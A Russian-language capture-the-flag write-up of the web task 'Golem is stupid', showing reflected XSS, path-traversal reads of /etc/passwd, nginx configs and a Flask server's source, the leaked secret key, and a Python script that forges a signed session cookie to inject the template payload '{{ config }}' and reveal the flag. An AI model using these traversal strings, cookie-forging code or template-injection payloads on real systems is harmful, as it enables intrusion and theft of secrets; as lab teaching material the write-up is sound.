Golem is stupid

Текст задания выглядел следующим образом:

Golem is an animated anthropomorphic being that is magically created entirely from inanimate matter, but Golem is stupid!

При клике на ссылку из задания открывалась страница с полем для ввода:
Golem is stupid - 1
Исследование кода страницы ничего не дало, файл robots.txt отсутствовал, в заголовках тоже ничего (кроме того факта, что сервер запущен на Nginx). Пробуем заполнить и отослать форму, вводим test и видим предложение прочитать статью.
Golem is stupid!
Кроме того, введя в форму <script>alert(1)</script> мы видим alert и понимаем, что это поле подвержено reflected XSS. Но это ничего не дает, исследуем дальше. Кликаем на ссылку article.

Golem is stupid!
Обращаем внимание на адресную строку. Проверяем на LFI, вводим name=../../../../../../etc/passwd и видим содержимое файла. Но мы не знаем, где находится флаг, т.о. нам необходимо прочитать исходный код сервера. Т.к. мы так же не знаем, где находится исходник сервера, необходимо в первую очередь прочитать конфиг nginx. Делаем это введя name=../../../../etc/nginx/nginx.conf и обнаруживаем интересные для нас строки:

##
# Virtual Host Configs
##
## configs: default, golem
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;

Теперь, введя name=../../../etc/nginx/sites-enabled/golem узнаем адрес root папки этого приложения.

location / {
    uwsgi_pass golem;
    include uwsgi_params;
}

location /static/ {
    root /opt/serverPython/golem;
    expires 30d;
}

Далее, перебрав возможные имена («main.py», «app.py», «server.py») удается прочитать исходный код сервера (name=../../../opt/serverPython/golem/server.py):

#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask.ext.session import Session

app = Flask(__name__)
execfile('flag.py')
execfile('key.py')

FLAG = flag
app.secret_key = key
@app.route("/golem", methods=["GET", "POST"])
def golem():
    if request.method != "POST":
        return redirect(url_for("index"))
    golem = request.form.get("golem") or None
    if golem is not None:
        golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")

    if "golem" not in session or session['golem'] is None:
        session['golem'] = golem	
    template = None
    if session['golem'] is not None:
        template = '''{%% extends "layout.html" %%} {%% block body %%} <h1>Golem Name</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> {%% endblock %%} ''' % session['golem']
        print
        session['golem'] = None
    return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
    error = 0
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = 'article'
    if page.find('flag')>=0:
        page = 'notallowed.txt'
    try:
        template = open('/home/golem/articles/{}'.format(page)).read()
    except Exception as e:
        template = e

    return render_template('article.html', template=template)

if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=False)

В строках 7 и 8 видим подключение интересных для нас файлов. Читаем «key.py» (name=../../../opt/serverPython/golem/key.py), получаем: key = '7h15_5h0uld_b3_r34lly_53cur3d'. К сожалению, мы не можем так же прочитать файл «flag.py» из-за строк 52 и 53.
Еще раз внимательно изучаем код сервера и обращаем внимание на этот участок:

@app.route("/golem", methods=["GET", "POST"])
def golem():
  if request.method != "POST":
    return redirect(url_for("index"))
 
  golem = request.form.get("golem") or None
 
  if golem is not None:
    golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")
 
  if "golem" not in session or session['golem'] is None:
    session['golem'] = golem
    template = None
 
  if session['golem'] is not None:
    template = '''{%% extends "layout.html" %%}
    {%% block body %%}
      <h1>Golem Name</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>
    {%% endblock %%} ''' % session['golem']
 
    print
 
    session['golem'] = None
 
  return render_template_string(template)

Вспоминаем о такой уязвимости, как Server Side Template Injection. Строки 8 и 9 фильтруют наши данные, не позволяя использовать ‘.’, ‘_’, ‘{‘ Или ‘}’. Уязвимость этого кода заключается в том, что фильтруются данные, полученные из POST запроса, но не cookie. К счастью, у нас есть секретный ключ сервера для подписания сессии, что позволяет нам создавать куки, содержащие произвольные полезные нагрузки.
Ниже приведен скрипт Python, который генерирует сериализованный файл cookie (как это делает Flask), в котором мы добавляем нашу полезную нагрузку для получения переменной «config»:

import requests
from flask.sessions import SecureCookieSessionInterface
 
class App(object):  
    def __init__(self):
        self.secret_key = None
 
secret_key = '7h15_5h0uld_b3_r34lly_53cur3d'
payload = {'golem': '{{ config }}'}
 
app = App()  
app.secret_key = secret_key
 
# Cookie serialization
serialize = SecureCookieSessionInterface()  
serialize = serialize.get_signing_serializer(app)  
session = serialize.dumps(payload)
 
# Preparing cookie for the request which will be sent
cookie = {'session': session}
 
# POST request using the cookie containing our payload
r = requests.post("https://golem.asisctf.com/golem", cookies=cookie)
print(r.text)

Запускаем и получаем следующий ответ:

<!doctype html>
<title>Winter is coming</title>
 
<div class="page">
  
  
		<h1>Golem Name</h1>
		<div class="row>
		<div class="col-md-6 col-md-offset-3 center">
		Hello : <Config {'JSON_AS_ASCII': True, 
		[...]
		'FLAG': 'ASIS{I_l0v3_SerV3r_S1d3_T3mplate_1nj3ct1on!!}', 
		[...]}>, why you don't look at our <a href='/article?name=article'>article</a>?
		</div>
		</div>
		
</div>

Флаг — ASIS{I_l0v3_SerV3r_S1d3_T3mplate_1nj3ct1on!!}


Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *